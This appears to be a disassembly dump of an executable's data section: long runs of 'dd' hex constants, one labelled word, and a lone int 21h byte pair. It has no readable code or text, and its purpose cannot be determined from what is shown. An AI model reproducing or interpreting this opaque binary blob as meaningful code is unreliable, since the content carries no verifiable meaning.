		dd 3E915C36h, 8D031775h, 0D549FE68h, 673B9D80h,	87C8E600h
		dd 78E9F72Ah, 0EC170065h, 2564EB5Dh, 3BEE7004h,	0AC0BDF28h
		dd 0AD7BD0F9h, 31540307h, 66C3AF0Ah, 5B82E846h,	43580473h
		dd 80F50770h, 4C4A3980h, 9914100h, 0D9BEBD5Ah, 1DC614A0h
		dd 4049A7AAh, 1BA17000h, 0D719CC5Ah, 73D69E03h,	0E76EE99Ch
		dd 0FCC47620h, 0F0AB1C37h, 7B5285h, 45507780h, 68C054EFh
		dd 4AF493BCh, 0CE5F07B8h, 99D73B19h, 0DC2D3400h, 8006BB1h
		dd 7F66992Ch, 76FB9C61h, 224201B3h, 8BD29E88h, 3C30205Bh
		dd 0A3744h, 2652C1E8h, 101E686Ch, 0A70FF1B8h, 4097791Bh
		dd 40A20CA8h, 0ABE250ECh, 4F90983h, 11001A57h, 7EE6469h
		dd 881DB679h, 0D8081D6h, 0CC9A1644h, 99790C15h,	0C818D7CAh
		dd 54CB0200h, 0F75CFFC9h, 110E087h, 0ABC3E2Fh, 0E036BA53h
		dd 6B79A4CDh, 1CF8A100h, 0A7E46A46h, 3B314863h,	0C485D205h
		dd 0E03E8151h, 0A889878Bh, 37181D4h, 304902h, 0E3F858h
		dd 26E6CB8Ah, 6AFED836h, 79B4EF4Ch, 584A6800h, 0FB699D88h
		dd 50E149BEh, 2C433E00h, 755E03E0h, 0CE00C890h,	0C56DF79Fh
		dd 145DCAh, 0C121C78h, 0B18801B6h, 7BE3A300h, 66FB6729h
		dd 9CA03E3Dh, 6F1F6B00h, 0EA4E862Eh, 6020D4E5h,	0DDE22898h
		dd 5255BC00h, 0E550C9ABh, 0F95613C7h, 0F23300D6h, 364A1A61h
		dd 229B3309h, 73B8006Dh, 0E61EE7h, 0B47B40FBh, 4EAB641h
		dd 3E19007h, 6FF798CDh,	7CFAEC30h, 82940007h, 0D195D4E8h
		dd 9F89C02h, 2E6C7000h,	71EED17h, 30204C4Dh, 0E93AD702h
		dd 0E2E019E0h, 8DF4016Fh, 0FE0A7D12h, 8C1CD000h, 914A94h
		dd 0D5D9A7E7h, 0A0178BA9h, 6F445A1Eh, 3ED36C0h,	5C3E42h
		dd 0C9B12A22h, 0E4934501h, 6E39C07h, 1C90EAF6h,	0F44FBC0Fh
		dd 115E0042h, 0D7B2CC5Fh, 7500A330h, 0B1991EB9h, 0BCEB19h
		dd 0F5E6365Bh, 39161DCDh, 0E89D732Ch, 83987200h, 0F85EADh
		dd 0C1871F4Bh, 0FC2110CFh, 6A8E1E30h, 7AD38107h, 0D92E07CCh
		dd 0E7055324h, 0D6EB10A3h, 40F306Bh, 40D3BD3Eh,	7D2610FCh
		dd 20270175h, 0F05823ADh, 91C56043h, 2E44A100h,	0B265FBD0h
		dd 54D60027h, 3F21BC48h
		dd 3CBA7D9Bh, 8850E21h,	0A800C015h, 6E1A96B8h, 3B880040h
		dd 0A1AD906Dh, 63000466h, 7990D73h, 0E8624C49h,	5C877920h
		dd 9B0110AFh, 463F1D67h, 506183DEh, 0E84AFB20h,	1E423C76h
		dd 82C41240h, 8B981AD5h, 3F0F4CC0h, 0BC0A6C02h,	0C0ABE3E4h
		dd 0AF4615h, 0D110C638h, 0F024ED6Eh, 1E544116h,	0CEB04C01h
		dd 29F081F3h, 0B614003Eh, 6C19C29Bh, 0AEEDB79h,	0C112CC98h
		dd 407D84Bh, 158054E0h,	3FAF8005h, 3D804A69h, 72A5B4A3h
		dd 2E00A926h, 822F3CCBh, 0C0098E01h, 6429AD84h,	840042AFh
		dd 0CF926DD0h, 78643BCh, 0FEBFC4E1h, 94958069h,	5F001A6Ah
		dd 25875BF0h, 0B6ED83h,	0F45D0F9h, 6B8FDC3Eh, 5CA10E00h
		dd 0E777F5B8h, 0C93D3F26h, 10006C3Eh, 22D7AF8Fh, 7112ECEAh
		dd 0F400F66Eh, 992E1CE2h, 31800AEh, 0B0935178h,	9D1F48DEh
		dd 0CD2EE4DDh, 946D1900h, 0B827218h, 0CD680BBCh, 0ED31C080h
		dd 0C984866h, 89D9F703h, 0D8DD36D3h, 4CFA4AC7h,	8E80C41Dh
		dd 0A4E504CCh, 4C034EFAh, 0E2039B52h, 200E9109h, 16F48620h
		dd 75F4947h, 80C7877Ch,	0A66B34A2h, 76F9C400h, 0A4B6F50Fh
		dd 246CF849h, 804785Fh,	0E581F1E4h, 5235B198h, 50365C60h
		dd 706FB47Bh, 0CF1A031Bh, 3F5E28B3h, 30BB0789h,	99027DEBh
		dd 5E0A07Ch, 0A97460F0h, 7D8D713Ah, 0C310C3CDh,	77E08BE6h
		dd 16EC5006h, 430028F0h, 0C8BB68A2h, 6A1DD1h, 274925Bh
		dd 5FFD5175h, 3D326B1Ch, 0EAE14D40h, 28F90E70h,	944659h
		dd 18BD1A06h, 6557D19Ch, 162F3826h, 3CF2E00h, 7137D2B2h
		dd 18E1005Bh, 0DA6D31FCh, 5500A98Ah, 0A7416A70h, 17B7D5Dh
		dd 938E8949h, 201B9B3Dh, 0F901BC8Fh, 10992983h,	4AE85E38h
		dd 655F014Fh, 0C0708D02h, 0ECF6C096h, 756AE407h, 0C200F7BBh
		dd 77488C5h, 0A1551A3Ah, 0E821D346h, 79EBBAB0h,	0B90EF500h
		dd 5ACA2BBEh, 71A101F2h, 0CBF07823h, 0F91880ECh, 54B6D93Bh
		dd 8F3E582Ah, 0E44626h,	8A909214h, 2800E4C9h, 0BCB2F896h
		dd 4DCC37Ah, 29EB9A5h, 0D094CAh, 2F4714ACh, 5B288FCDh
		dd 5D00A02Dh, 0E4EF3AF1h, 0E09B60h, 0AFD34EF9h,	11B8B40h
		dd 36990A00h, 0AAC3F33Dh, 72AF05Ah, 2454A238h, 0CD01E044h
		dd 323C6419h, 8634BB52h, 1F26083Ch, 0F8FA00A0h,	2227C65Ch
		dd 6E5852D9h, 233509F8h, 40982h, 0DE4043F4h, 62D807B2h
		dd 673E65F9h, 69A1A019h, 0C803C9BAh, 0E1CE9D16h, 0A8045E4Ch
		dd 2C4DC9h, 64D6E86Ch, 574B9Bh,	0F5CFD98Dh, 0B72FB532h
		dd 0EBDDF800h, 9BBABBB3h, 7E2D4CB1h, 4127976h, 0DA7320Ch
		dd 6D19C018h, 2100AF9Fh, 0C35C6549h, 388CC1h, 1052596Bh
		dd 0ED20CAC8h, 92A36C3Ch, 0AC00D591h, 0D69CB9F4h, 0C73328FFh
		dd 8B6A00F4h, 6DF67E56h, 806EB6AEh, 1CA52728h, 2ED47340h
		dd 120C0137h, 62FA987Fh, 3890E0E8h, 0EE598B1Ch,	0A084018Fh
		dd 7821A351h, 455700F4h, 0E9FB8804h, 9C3E28C5h,	53E0800Ch
		dd 88312B1h, 8E7F187Ch,	0CD2381B8h, 0D7F4C402h,	70664375h
		dd 0BFED267Ch, 984E00B4h, 0DBF46F1Ch, 103F752Ah, 806EC340h
		dd 21E85E77h, 3B0C87E8h, 286BA5B1h, 348F507Fh, 231F8025h
		dd 1319ED74h, 0C5811C63h, 1EFFC1F0h, 1E69D0EAh,	21D7CC88h
		dd 0F820EC28h, 27BC1EF4h, 0D3B8006Dh, 0FF5C6214h, 48506800h
		dd 23FE60E0h, 21F80036h, 24C4C3BDh, 44A1B43Bh, 26A08B75h
		dd 0B66B0577h, 64A85048h, 89C300C5h, 3BD8365h, 0ECC91A5Fh
		dd 3BC8794Dh, 46007140h, 0A6FDF6ACh, 1C3797BDh,	4026234Bh
		dd 67BC4DAFh, 1F006FE1h, 963F59Ah, 0AEC622h, 7EC090BDh
		dd 13B78CC9h, 89370609h, 2075072Fh, 0BCFE0DEh, 718BD11Fh
		dd 67E000DBh, 79EE18B4h, 3A00C355h, 2EA1E5ACh, 1B3DC6Ch
		dd 10D15DF1h, 0CCB5B901h, 0EF147BC6h, 7A0D4C8h,	936FF842h
		dd 1C9CD9ECh, 41233D1Dh, 3B67C42Dh, 0B2089334h,	257BD040h
		dd 147F3Dh, 852119DFh, 0B6ECF942h, 398341C0h, 74846277h
		dd 0C7EF3AF6h, 5C699800h, 21BA7516h, 6BF33A18h,	780B5F20h
		dd 17C73023h, 5BFB5110h, 0BF24B300h, 0AE02D09Bh, 8378C03Eh
		dd 7C0F74BBh, 0E74128C1h, 589AE58Fh, 641779BCh,	1680B511h
		dd 81E2FB30h, 4B44BD19h, 87D05699h, 61FD6090h, 19F920A0h
		dd 980E7703h, 52267FF4h, 0C30E0C08h, 6FE1F9D8h,	0EC5D6C35h
		dd 8D7A7CE8h, 1EF741D4h, 58B9DF80h, 9F8E0171h, 0B93324DBh
		dd 0A3D07BE9h, 2CF18C8h, 9709C882h, 0E0F45730h,	7D6B921h
		dd 681CE4B5h, 2EBCC14Ch, 0A8ADC471h, 0BBD80C00h, 7CEBD9B6h
		dd 2A4400CEh, 0B70A91F4h, 0B4E64067h, 3B643300h, 820B600Eh
		dd 0CF8800BFh, 6965D81Ah, 67006D8Fh, 0F25D9F27h, 45E761h
		dd 91497EE6h, 0EE94076Ah, 3D03DD00h, 0A37D663Eh, 0CC40027h
		dd 4BCB3A2Eh, 0BE1E4133h, 3700B5AAh, 0DBB4AE12h, 2B4718C2h
		dd 33DE10DCh, 950696EEh, 0ADB3A61Fh, 0DBF63009h, 472EBE20h
		dd 68002A70h, 72F57CDCh, 620681F9h, 0EDC160DEh,	11DBFE02h
		dd 0EE3118B8h, 2F952398h, 0EC00F711h, 5B9E472Ch, 7D003BD8h
		dd 87C41659h, 0F2D6728h, 0CC3F9B3h, 61077989h, 1302C085h
		dd 61C046E5h, 7A73BBFEh, 8E66019Fh, 0C65F2A92h,	80F2D193h
		dd 7ABB2021h, 395DE27h,	63B4D49Bh, 6C16128h, 85688486h
		dd 0C800F5BBh, 0D37698FEh, 29A42A50h, 0D6843E00h, 8A9E4632h
		dd 0A4A500AAh, 9CACA261h, 82002D4Dh, 1C9D7F2Ah,	60874Bh
		dd 0BA92976Dh, 0A4DBDA88h, 0E0ADF803h, 0C17FBDA8h, 3D60727Eh
		dd 14F3005Bh, 0C73F0273h, 0BD0082ADh, 0B4335C6Fh, 76B39D0h
		dd 0FA1EABB7h, 0D0DEB7D2h, 0DB2C5584h, 0E1A82501h, 1E17C049h
		dd 6FB7D4h, 0D906C10h, 8F48BBD2h, 0B10092F4h, 0CE437FD4h
		dd 5229A5h, 84B49AD7h, 8F33C14h, 44005EB8h, 0D3800F3Ah
		dd 4CE141AAh, 99037834h, 0B9621D66h, 403FC9E8h,	0B1B718C0h
		dd 52EC56h, 3393B520h, 0C4EBA8B0h, 0D38DFC01h, 989C3D43h
		dd 1A349080h, 0F983AF6Ch, 0E81EBD60h, 729CD7Ah,	6A30B639h
		dd 0EE80BE63h, 0CFBECE42h, 57E61300h, 0CB45621Ah, 0A5040054h
		dd 36E7968Ah, 0E9032C74h, 0C6F3CAB8h, 0BD4A3C7Fh, 0E8BF3862h
		dd 79E2DC00h, 5134000Bh, 7262207Eh, 0E1069910h,	0DACF3D86h
		dd 58610699h, 1133BBBCh, 710EA870h, 637883DFh, 0B6B9EDh
		dd 0F763E118h, 7A6DAF2Bh, 0EAC92A00h, 0B47A51Ah, 0BB9C039Dh
		dd 0E1D170C4h, 0AA60DD80h, 0EF6C7702h, 7D9A631Dh, 88D85340h
		dd 3C4ED901h, 4F510369h, 0EC00044Eh, 1A4BB741h,	19C0664Ah
		dd 999D3531h, 187FE098h, 807D05Eh, 20C05005h, 0E89DFC90h
		dd 94980078h, 0EC497915h, 640FB87Ch, 66E66C92h,	18012Bh
		dd 0D318B669h, 6805AD9Fh, 0A50003E2h, 0AECF1975h, 6014028Ch
		dd 0D4F27855h, 0B3A84C0h, 0E2FF0053h, 4686AB4h,	223300D6h
		dd 8E8A2CDFh, 4F02530Ah, 241DAEDh, 23209C03h, 0C801AF33h
		dd 5FD2FE51h, 72238050h, 0E9490092h, 8A5E67EDh,	0D9E86B95h
		dd 926E21D8h, 96F1002Dh, 7AB8FF32h, 8101482Fh, 73AA2437h
		dd 0A4504E98h, 66A19FC4h, 0D8EAE034h, 0BF445901h, 1110FC6h
		dd 40C91894h, 8CDCACh, 0D8CF0722h, 46389B4Ah, 0DD4271C1h
		dd 91F04999h, 0EDD900F2h, 9C315C3Ah, 730098E3h,	0E6C160CAh
		dd 3A746A58h, 3867C9D5h, 393A8125h, 6F49804Bh, 0C4889F1Bh
		dd 55FE0C26h, 70081ECCh, 540C21C0h, 1D0EC9Fh, 644E1949h
		dd 506E50EEh, 917744F8h
		dd 4CAC6C4Eh, 0CF86A28h, 63ACE73Dh, 0D714C471h,	72802E84h
		dd 0DD3F5208h, 27CD801Dh, 84E72CC1h, 0CADC50F7h, 0D418E929h
		dd 5D10637Ch, 28E4F0AAh, 5FC7FB1h, 51C70DA2h, 88A460FCh
		dd 0E9581B92h, 22A443AFh, 40CA28D7h, 0DBE20FB4h, 71208803h
		dd 2BCC9387h, 0FD09157Fh, 8E1B0C58h, 7558FF05h,	0E728C8h
		dd 0F25E2520h, 0FD39E22h, 0C78751DCh, 7820CD8Eh, 3B3060A1h
		dd 0E100E377h, 6E87F0FCh, 1C002742h, 926B6581h,	460A801h
		dd 0A741024Ch, 89BC905Eh, 351C269Ah, 0B3FF1DEBh, 25709EAh
		dd 26322921h, 9C81365Dh, 870E8FD9h, 89ECE698h, 416C85D2h
		dd 361853DCh, 90989D38h, 49CC7E38h, 0FD008F21h,	11FED19Dh
		dd 5250D5h, 4B17E37Ch, 0AEC93395h, 0EC14EBF0h, 78EC47A4h
		dd 400FD939h, 80D654D2h, 0BEAF00E9h, 36D7DFE4h,	0C0024CCAh
		dd 0F8590C80h, 76D61Bh,	0D4AC1E64h, 0DCA08F6Ch,	7C18E602h
		dd 0B9584EBCh, 0DC5002F6h, 10D23018h, 313EE120h, 0C02EDDA9h
		dd 0A7F699E7h, 0AB7A615Fh, 1DAA50Ah, 26801838h,	5D061C6Ah
		dd 81090078h, 7D5B5E55h, 611C4927h, 350C93BAh, 0E86B1A43h
		dd 0D2CF1DD6h, 5741B0CBh, 0B84E4221h, 7D6AB2C0h, 0A03C601Ch
		dd 0D322C99Ch, 4B498E05h, 0DC608A02h, 233026E3h, 6111B5EBh
		dd 269B2800h, 0F8D2CE71h, 0BA6AAB0Fh, 0ED1045AEh, 0DC2235C4h
		dd 9D373018h, 0D056DD90h, 501E10DCh, 9DFE5A00h,	0E36588E4h
		dd 0ACC7B303h, 0F1B47F7h, 3D0D6621h, 0C64FE8C3h, 3A6DF0E7h
		dd 0FD0C2B21h, 6953EC59h, 0EBB914AEh, 0F23EE865h, 9260640Ch
		dd 4C046B90h, 77B95203h, 292EE8D0h, 4DFF0290h, 6B30D4ABh
		dd 344CC841h, 0E7068E0Ch, 68675060h, 12E8F8F9h,	435BC1E4h
		dd 3237F7E4h, 2A7411FFh, 0F05C209Dh, 73B040EDh,	0BB0C6995h
		dd 416AF275h, 68ED1692h, 93202172h, 6082142Fh, 0BACA2071h
		dd 418D4E7h, 0CD680A80h, 7CDB03E1h, 0C3A5A30Dh,	8C89BCCEh
		dd 0F9B5F875h, 0D3528801h, 9755A440h, 0F5D22460h, 0AEED9010h
		dd 39304863h, 0E2E10041h, 0B6275801h, 0EF01DDC3h, 24853786h
		dd 8422CB94h, 183CAA0Eh, 758C66A3h, 0C98731F0h,	53555A00h
		dd 81886311h, 982A26C0h, 0C217C42Ch, 64CA3C70h,	80807088h
		dd 0E6141AC0h, 333B4448h, 2640CC6Bh, 298FC8C4h,	0C6EA04FCh
		dd 9298E8C2h, 0FF1000C4h, 607334h, 5D5AF591h, 899A1B4Eh
		dd 38D7620Ah, 403C402h,	0C8D41E4h, 75D2F978h, 8407C7C9h
		dd 392416AFh, 0E3BAFDD0h, 950D02CAh, 0ED0F3187h, 1946386Ch
		dd 0E29D3801h, 0C7F0898h, 0FF918847h, 25809D00h, 4A39A843h
		dd 0AFB30045h, 7647ADD0h, 6006415Dh, 0D69DD1BAh, 7A8994Eh
		dd 0A1D4C7D3h, 20E99565h, 5D797DE0h, 17D04A49h,	3040D3C1h
		dd 0A8238147h, 7C32584Bh, 1DE95400h, 0A04FEA6Ch, 63F23F3Bh
		dd 0F06B45E9h, 48B76722h, 4423EC47h, 3226E501h,	8D18C5EBh
		dd 71E0240h, 5A0F269Dh,	302FD9E1h, 8010C4A9h, 0F4265CECh
		dd 0F3807040h, 0A61177F1h, 0A821D46Dh, 0BD6ED800h, 0DCEF47B2h
		dd 82D0AA3Ah, 999CA7Dh,	250E02Ah, 5E0286D3h, 8DE91592h
		dd 8010E56Bh, 64925620h, 1E00D154h, 3CE37818h, 0FA87D475h
		dd 8E6324F7h, 0D17405D0h, 4CAC424Dh, 54E970E6h,	0E6006136h
		dd 58E47065h, 34FAC65h,	48D7CA64h, 79681D54h, 74C64094h
		dd 7BF91AEh, 0B41DD0A2h, 6E036108h, 5974A841h, 0F8347043h
		dd 0C6D4Ch, 3A76D666h, 61C28AD0h, 5CF2300Ah, 0BC84D6BCh
		dd 224083DAh, 0E8491800h, 0B9FCC25h, 0D45F507Ah, 0A8F6F002h
		dd 7B90B0h, 0D3FC2DC3h,	12B1D27Ah, 465E8494h, 0D2E2001Eh
		dd 45EEE036h, 9B3F0226h, 0DA8FC198h, 0AB1B8080h, 4C17621Ah
		dd 0C00875C9h, 9F15C0D0h, 1646C45Eh, 12007322h,	0E8719F4Eh
		dd 279EA24h, 9EDA674Ah,	4C488FA4h, 0D6002E2Ch, 1522D3FFh
		dd 0FC50AFh, 0DC4A6D1h,	77DFB5Ah, 0CCB2E209h, 3F1C2068h
		dd 16A4F840h, 895A0Bh, 0B1364E3Ch, 2C0F552Bh, 0F251E0EEh
		dd 0C85C26h, 57505C5Eh,	990658B5h, 79C9AE00h, 0EA49610Bh
		dd 0DB3003Bh, 7982B69h,	360AE867h, 0BC2EE7C3h, 2043F0B2h
		dd 0F5B30434h, 77F78B00h, 94B8D4EDh, 57D75D1h, 31C48797h
		dd 2354816Ah, 0AB040109h, 339C84D2h, 899F2260h,	0C11EC421h
		dd 209F1B0Fh, 810046F9h, 41D4C329h, 2718EABh, 0F0268615h
		dd 68C69C72h, 735E3109h, 1DC20B24h, 500508ACh, 0A2AE2D60h
		dd 14F425ECh, 11948C08h, 56845085h, 2697048Ch, 6295EB34h
		dd 0CF44205Bh, 790BA026h, 90F6DF0h, 700044D9h, 31B107D8h
		dd 47D30A22h, 9A4D6034h, 0E92449D1h, 5C059C5Ah,	441D7498h
		dd 803F9121h, 0EB3B2698h, 0C0C891CDh, 0BB26D023h, 340E9B00h
		dd 4B29A10Ch, 77E0028Dh, 0D33304Ch, 5273FC82h, 0A0048E4h
		dd 5627A61Dh, 0FC6812Eh, 0D1D874D7h, 4922BA61h,	33298002h
		dd 0C97C3E32h, 957EACh,	0A5E7FDE5h, 0E1A7075Bh,	5AE3F314h
		dd 0FC0048Ah, 34C0773Dh, 7DAECDh, 3FAF441Ah, 40985EF1h
		dd 31A031F3h, 1FA0236Ch, 0E944928Bh, 0F3268A5h,	92432D20h
		dd 2A73004Ah, 0D64BE37Fh, 2B16F085h, 3012D952h,	5C23603Eh
		dd 49F76600h, 7A77B3h, 0FBDDACF0h, 1BEFEDC8h, 78399715h
		dd 64A407E4h, 6F20C712h, 0E6D2199h, 6EC9CE50h, 0A8C463E0h
		dd 5D5C1A3Ah, 0DC415100h, 351D2DE3h, 5EC0E6D4h,	4F1D9F64h
		dd 20F0B267h, 98A186B1h, 440189Dh, 0EEC48B9Fh, 207732FDh
		dd 3B9F1909h, 30977A01h, 0CC9A4FE4h, 0F58DE920h, 3918183Dh
		dd 1553313Bh, 56842D00h, 0B52F5E95h, 4580001Bh,	43697473h
		dd 1E11A3BFh, 55003D39h, 3553E168h, 5000A4D7h, 0F9E3AC60h
		dd 0F0B7268Ah, 5CE51332h, 8BF44170h, 30436535h,	0ACA862D8h
		dd 0C91C47E9h, 7858F752h, 2084E8F0h, 56097ED9h,	4B0518D7h
		dd 41E5D938h, 0B89AC3DCh, 640610F8h, 84EE3D0Bh,	0D6A794E6h
		dd 0EF30A0h, 0E74DFF48h, 5E2F9511h, 0EC182CB2h,	9C906144h
		dd 8DA707F1h, 0E1604977h, 0FCDD375Eh, 0B0907914h, 611B5105h
		dd 9F105633h, 8048B120h, 0C1E7E019h, 2C308E90h,	11E8B831h
		dd 0EC744DA5h, 8DB89C00h, 0E08B88ACh, 757C7B00h, 7176F6F8h
		dd 0BB500285h, 8964D409h, 0F0358086h, 18248CB0h, 467CF411h
		dd 49040056h, 59F761CEh, 0D47A022Fh, 8CCE6E8h, 0D4536461h
		dd 1501C5CAh, 9CF26269h, 18A86839h, 13D14638h, 0E8099F1Ch
		dd 3ED0B14Eh, 9F350D10h, 86780276h, 17D9AE0Ah, 8638C85Fh
		dd 72659C01h, 28FFE658h, 9F847C3h, 9FC9DAEAh, 0D595CC23h
		dd 0E8ACB848h, 0A9008C58h, 0C8D402CCh, 921B650Fh, 409A301Ch
		dd 6BE546A1h, 0E84E6C96h, 7CD78968h, 0D4AC7C60h, 0A941412h
		dd 0E80CB0D5h, 1CDE6966h, 7040546h, 32DAA9AFh, 6040EA64h
		dd 0C9817BB7h, 0DBF25832h, 119C530h, 0E986E262h, 8387F1E4h
		dd 6EE32980h, 5D6990B3h, 9C4C9008h, 4C467410h, 8B54700h
		dd 637D48EBh, 320015E2h, 4D3FE32Ah, 0B024CF7h, 5E47B952h
		dd 4E41FC40h, 0C7105807h, 6BB089F6h, 5BFD71h, 0A181143Eh
		dd 311CEA74h, 76595000h, 19E8C653h, 0A034F8D6h,	0F0E796BDh
		dd 55D20135h, 2501298Eh, 0CF0AE083h, 0E6F348h, 0EAFF4B87h
		dd 1BA0CF6h, 7AE92F77h,	0FCA16C6Bh, 4F5C151Ah, 0FA341C10h
		dd 0CABDB900h, 1DD1B7B8h, 0C19B4DEFh, 37540CDh,	95118A92h
		dd 187C044Eh, 1096D244h, 0D509CCB3h, 8E0E8B55h,	6040009Eh
		dd 24A80F82h, 9AAFF9h
		dd 0D87BB54Ch, 1300B84Fh, 0EDEB6A41h, 0F9B3017Dh, 714BD8h
		dd 34B61E06h, 0D6B8BA57h, 0D900DDFCh, 4BE5EAF1h, 85C58Ch
		dd 0EF9980A7h, 76F5C1FAh, 0EA1DFC00h, 0B93B1287h, 92670028h
		dd 3C5BC0DAh, 300DDCEh,	9D1CA90h, 75F35C26h, 9BCB0006h
		dd 60849456h, 7F0008A3h, 7EDE283Bh, 3C16FDE0h, 7BED25h
		dd 0B10CD6Ah, 5F690654h, 49C0D500h, 9D9F03FEh, 0A0E50F86h
		dd 0A4A0D69Ch, 9455DB97h, 6D6775Ch, 0AC568A68h,	8B63002Eh
		dd 0E639B480h, 8573EE13h, 8FE05A00h, 12A8D5FBh,	81AE0029h
		dd 8E62F856h, 0BB00374Ah, 0B4D82FB3h, 7793EA02h, 89C20778h
		dd 0C06C50D4h, 5837CF3Bh, 0D224627Bh, 33032EB7h, 0BFDC93DBh
		dd 39D777D0h, 4FF3FECh,	288D1700h, 32078992h, 0A4EB5A00h
		dd 0B2E5B409h, 3FCC00A5h, 920B8BC7h, 1202A74Ch,	65ABDB86h
		dd 5B104816h, 253D1631h, 0B371C004h, 5200851Dh,	9CF1F309h
		dd 0FE83CADCh, 0FFB6035Dh, 654B030Ch, 1E0747E0h, 10D160C9h
		dd 17B2B1Ch, 0C644EAF8h, 0D8187C55h, 67000849h,	77D7D345h
		dd 91CA4Dh, 79E34399h, 760436C6h, 0FA0F003h, 382721F8h
		dd 0FFB024C4h, 12685DA0h, 0E8657A30h, 7C8A005h,	6F9FF9C1h
		dd 3047511Eh, 0D366F449h, 0C026DA02h, 82F5CD3Ah, 0E0AC32D6h
		dd 0C60F32h, 0B48117DBh, 9A6CD87Fh, 0E4EA1F00h,	7CD68B52h
		dd 0CECF149Fh, 6A03D864h, 0C656E76Ch, 0B5001179h, 850EE64Eh
		dd 50E35Ah, 0DF76447Dh,	553D75A5h, 0DD42FB02h, 4091D1B6h
		dd 0ABCA20h, 0CC1A902Bh, 983E630Ch, 0C0B2A700h,	0A1C32DFBh
		dd 0BAD80A1Ch, 8A0A84Ah, 0E080B312h, 1DE3F77Ah,	801A02C7h
		dd 18EBF9D6h, 20772C41h, 3F000834h, 155D6C5Eh, 279B1BCh
		dd 3DBBF229h, 1AC0DCBDh, 4D09C0E0h, 0E4C2B9h, 0EFFDAA44h
		dd 0E28300EEh, 0E7A995Bh, 3F03CBEBh, 0CDDDE66Eh, 13E8016Dh
		dd 5A64E7Ch, 9B10816Ah,	0F4406EC3h, 1EE80434h, 804DB473h
		dd 0BDCEBC5Ch, 617C998h, 0B50EC703h
		db 0CDh, 21h
word_544F42	dw 2C9Dh		; DATA XREF: ___:off_4374D0o
		dd 0E0DFF2ABh, 30D24A29h, 96D0FB7Dh, 0A0020191h, 66F363A8h
		dd 8614487Ch, 706167A2h, 0A4DD1096h, 0DE09C193h, 0A0E2CB45h
		dd 1A11B060h, 7CF3013Dh, 0A696A9BDh, 0A6BE874h,	54482000h
		dd 0FBF81F2Dh, 51C304E6h, 809E9290h, 4FA89418h,	9B86E00h
		dd 0CA40C17Ch, 0E803038Fh, 0C73D66ECh, 1B1AC000h, 8321760Dh
		dd 5C69006Ch, 99779302h, 1D0E6ECAh, 0DB3DC8h, 0A717843Ch
		dd 0D8B603D2h, 7668B82Fh, 31EA7CB8h, 7DD1C000h,	0B06558C5h
		dd 958C0714h, 4070B59Eh, 41B9E1E7h, 3B45A3Ch, 96BCE51Dh
		dd 0CC28006Ah, 11C1D9C3h, 9F0052D2h, 67D4881Fh,	10FAB30Fh
		dd 96B2C7Fh, 80DF6638h,	0A9FEBA0Dh, 26D10103h, 3188D742h
		dd 0F8D5D8BDh, 0D0F29A00h, 84FF9327h, 32383EBCh, 64E52180h
		dd 0C69B85CFh, 0BFA7AC00h, 0FC523018h, 0A8693A78h, 8B1EAEB8h
		dd 0C13D9C31h, 106FC84Bh, 0B3319DA7h, 95657E01h, 0BFF593AAh
		dd 7B71D0h, 0EF6479FCh,	0ED375CE6h, 2385E0Fh, 0D8407E90h
		dd 904D614h, 89751F66h,	8E746448h, 0A7E75176h, 557C1077h
		dd 67F89D83h, 190F1B00h, 131D76A6h, 2B0707Fh, 80381739h
		dd 6060A982h, 93071845h, 9405F5Bh, 0B6762EB0h, 9EE224C9h
		dd 0DC000E6h, 91C414B1h, 691D4B02h, 40A6CBABh, 7BEEBC9h
		dd 5E3824AAh, 3FCDB221h, 9986B460h, 4927C600h, 0FA9E900Fh
		dd 286C40D0h, 34473B03h, 80439215h, 5415131h, 0A6A7536h
		dd 0ECA3C07Eh, 0C60312BFh, 9D330C8Dh, 2249C07Ch, 6ECE0017h
		dd 5D1E4601h, 0E200280Bh, 7D66BE4Bh, 1D128974h,	4BB3D08Dh
		dd 0BC20D964h, 2D57AC47h, 0F8D349h, 812F94C7h, 0BDD009h
		dd 6D88B808h, 0D691597Dh, 388F643Ch, 0F900FE72h, 17AD0939h
		dd 16A63D0Dh, 0B89938F2h, 72A100B2h, 0FDF1424Fh, 66EB0F83h
		dd 7020349Ch, 0DACDB0CBh, 72043272h, 0C6BCF1C9h, 3120C887h
		dd 484665F8h, 6700C491h, 51D2EF0Ah, 0E6007D70h,	0C8B8DD1Dh
		dd 0E1AF4560h, 4F75DF4h, 1EF461ACh, 98648017h, 2001155Ch
		dd 0EC076DE4h, 54E16BFDh, 146D0F4h, 5582A7A8h, 0E0673D2Eh
		dd 2C015263h, 0B9375609h, 7C205B9Dh, 7F7ABEh, 23FF4806h
		dd 822C93C0h, 7B02C300h, 579A1FB4h, 2DE00114h, 81E4BA63h
		dd 0AF70DC61h, 0C00D2EAh, 0A551B36Dh, 5D554Dh, 0B4827860h
		dd 0D5B9566Eh, 6C85D400h, 0B83EBF3Fh, 0ED1300E3h, 44928FC1h
		dd 590028A3h, 0F4DE2A81h, 38D925C3h, 0CF8062D0h, 0BAE7B614h
		dd 0EF00AEBFh, 7518B321h, 26781BC1h, 814029BDh,	226A9195h
		dd 64FD7059h, 189DDB30h, 0EA76CB27h, 3B76E5h, 3D14D984h
		dd 20827E6Fh, 0EF2BF31Eh, 80616947h, 0A2E35C10h, 0D86F00FAh
		dd 87DC1A13h, 8800073Ch, 0F7E66DFBh, 4AFD4Fh, 0C8773BE1h
		dd 694CC27Bh, 29E8BC4Ah, 36E7F900h, 9AABEDB6h, 0B590B279h
		dd 0AA431100h, 2A121C23h, 0A30C13C1h, 782D013Dh, 0C0FC55A2h
		dd 5D019F9Bh, 43F06E54h, 0CACCD7EEh, 8D060BECh,	4100AE23h
		dd 4833E088h, 74FD9900h, 1A668CC0h, 0AB3B00D2h,	0DFC6E72Eh
		dd 0A10D8A2Ah, 0A044E597h, 7890B4FFh, 3DBA4BA7h, 82006A0Fh
		dd 127974C6h, 0B3007C58h, 1ADB31E7h, 0FA6FE88h,	0AA6025B8h
		dd 5416BDE7h, 0D4C532h,	988E33A8h, 0ED0056BFh, 0A66FAAF6h
		dd 4079B90h, 0F528A92h,	1A3CC039h, 3804EF51h, 881C7717h
		dd 1478A4h, 0E54BCF20h,	0C6316741h, 99F960E9h, 0FE1E9771h
		dd 0DA8091A1h, 426BA4C3h, 0CC0C3EAEh, 7458EF00h, 0E1811007h
		dd 0A4705400h, 590F9FAAh, 0CB7CD1h, 0E4971BDBh,	1AD30766h
		dd 4E7F3375h, 13EF4939h, 884121D5h, 970BE3F6h, 0FA3A0E2Eh
		dd 0DB2DC62h, 1021A5C0h, 98D0622Ah, 0FD201667h,	2296EA91h
		dd 5B994180h, 0EF21159Eh, 7D37363Fh, 120D8200h,	7DD6DE2Eh
